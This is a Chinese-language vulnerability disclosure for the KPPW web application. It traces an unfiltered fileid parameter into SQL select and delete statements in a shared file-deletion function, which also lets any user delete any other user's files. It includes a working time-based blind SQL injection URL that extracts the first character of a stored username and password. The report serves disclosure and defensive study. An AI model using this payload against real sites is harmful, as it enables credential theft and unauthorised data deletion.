### 简要描述:
KPPW最新版SQL注入漏洞八,从一处问题找出罪魁祸首,全局文件问题导致12处注入及越权操作
### 详细说明:
KPPW最新版SQL注入漏洞八,从一处问题找出罪魁祸首,全局文件问题导致12处注入及越权操作
文件/control/pubgoods.php
```
<?php
kekezu::check_login();
$strPageTitle = '发布商品-'.$_K ['html_title'];
$strPageKeyword = '发布商品,'.$_K ['html_title'];
$strPageDescription = $kekezu->_sys_config['index_seo_desc'];
$id = intval($id);
$step = strval(trim($step));
......
$strUrl = "index.php?do=pubgoods&id=".$id;
$_SESSION['spread'] = 'index.php?do=pubgoods';
require S_ROOT . "/shop/" . $arrModelInfo['model_dir'] . "/control/pub.php";
```
看最后两行,这里的$arrModelInfo['model_dir']可以为goods或者service
当$arrModelInfo['model_dir']为goods时,我们跟进文件:
/shop/goods/control/pub.php
```
<?php defined ( 'IN_KEKE' ) or exit ( 'Access Denied' );
$stdCacheName = 'service_cache_'.$id.'_' . substr ( md5 ( $gUid ), 0, 6 );
$objRelease = goods_release_class::get_instance ($id);
$objRelease->get_service_obj ( $stdCacheName );
$arrPubInfo = $objRelease->_std_obj->_release_info;
$arrConfig = $objRelease->_service_config;
$arrPubInfo['indus_pid'] and $arrAllIndustrys = CommonClass::getIndustryByPid($arrPubInfo['indus_pid'],'indus_id,indus_pid,indus_name');
switch ($step) {
case 'step1':
......
if($action == 'delete_image'){
$strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid);
$arrFileInfo = db_factory::get_one($strSql);
$resText = CommonClass::delFileByFileId($fileid);
if($resText){
$array = explode(',', $arrPubInfo['file_ids']);
$newArr = CommonClass::returnNewArr($arrFileInfo['save_name'], $array);
$_POST['file_ids'] = implode(",", $newArr);
$arrPubInfo and $_POST = array_merge ( $arrPubInfo, $_POST);
$objRelease->save_service_obj ($_POST, $stdCacheName );
kekezu::echojson('删除成功',1,array('fileid'=>$fileid,'save_name'=>$arrFileInfo['save_name']));die;
}
}
if($action == 'delete_goodsfile'){
$strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid);
$arrFileInfo = db_factory::get_one($strSql);
$resText = CommonClass::delFileByFileId($fileid);
```
当action=delete_image,或者action=delete_goodsfile时,参数fileid都会进入sql语句,而且没有过滤,没有引号保护,最后导致sql注入
继续往下,参数fileid还进入了函数delFileByFileId,继续跟踪:
文件/lib/inc/CommonClass.php:
```
public static function delFileByFileId($fileId){
$strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileId);
$arrFileInfo = db_factory::get_one($strSql);
$filename = S_ROOT.$arrFileInfo['save_name'];
if(file_exists($filename)){
unlink($filename);
}
return db_factory::execute("delete from ".TABLEPRE."witkey_file where file_id = ".$fileId);
}
```
这里的fileid同样进入了select和delete语句,都没有过滤处理和保护,导致两处注入
这里在delete时,可以删除用户发布的商品或者任务的图片已经文件,而且这里最后删除时只根据fileid删除,没有判断删除对象的用户属性,导致可以任意删除任意用户发布的文件,导致越权操作。
下面来看看文件/lib/inc/CommonClass.php,这是一个全局调用的函数
来看看有多少文件使用了/lib/inc/CommonClass.php中的这个delFileByFileId函数
[<img src="https://images.seebug.org/upload/201412/1023150322e5fb07a47f5512356ae6381fca8563.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/1023150322e5fb07a47f5512356ae6381fca8563.png)
可以看到这里一个有12个文件使用了这个delFileByFileId函数,我们再来找两个其他文件,看看是不是也没有处理传入delFileByFileId函数的fileid参数
第一个文件/control/taskhandle.php:
```
case 'workover':
if (isset($formhash)&&kekezu::submitcheck($formhash)){
$resText = $objTask->work_over($tarContent, $file_id,intval($modify));
if($resText === true){
kekezu::show_msg ( '操作成功', 'index.php?do=task&id='.$taskId, 3, NULL, 'ok' );
}else{
kekezu::show_msg ( $resText, 'index.php?do=task&id='.$taskId, 3, NULL, 'fail' );
}
}
if($action == 'deleteFile'){
$resText = CommonClass::delFileByFileId($fileid);
if($resText){
kekezu::echojson('删除成功',1,array('fileid'=>$fileid));die;
}
}
```
fileid在全文上下没有处理,这里进入函数delFileByFileId后,也会导致注入
其他的就不一一列出来了,都存在同样的问题
fileid没有处理,直接进入函数delFileByFileId,然后fileid进入select和delete语句,导致sql注入,并且存在越权删除任意用户文件的漏洞
### 漏洞证明:
sql注入漏洞:
```
http://localhost/KPPW2520141118UTF-8/index.php?do=pubgoods&step=step1&action=delete_image&fileid=5566)+and+1=if(mid((select+concat(username,password)+from+keke_witkey_member+limit+0,1),1,1)=char(97),sleep(5),2)%23
```
这里会延迟10秒返回
因为这里的存在两处select,所以sleep(5)了两次
[<img src="https://images.seebug.org/upload/201412/102327163aaf80c376d2a68c9fd90eeec6bb00c5.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/102327163aaf80c376d2a68c9fd90eeec6bb00c5.png)
看看数据库执行结果:
[<img src="https://images.seebug.org/upload/201412/102327291f5c915c479b5520e191749582e1a9ce.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/102327291f5c915c479b5520e191749582e1a9ce.png)
成功执行我们的sql语句
这里说UserName+password的第一个字符是a,继续执行,即可注入出完整的UserName和password,注入脚本之前已经有了,修改下请求即可
暂无评论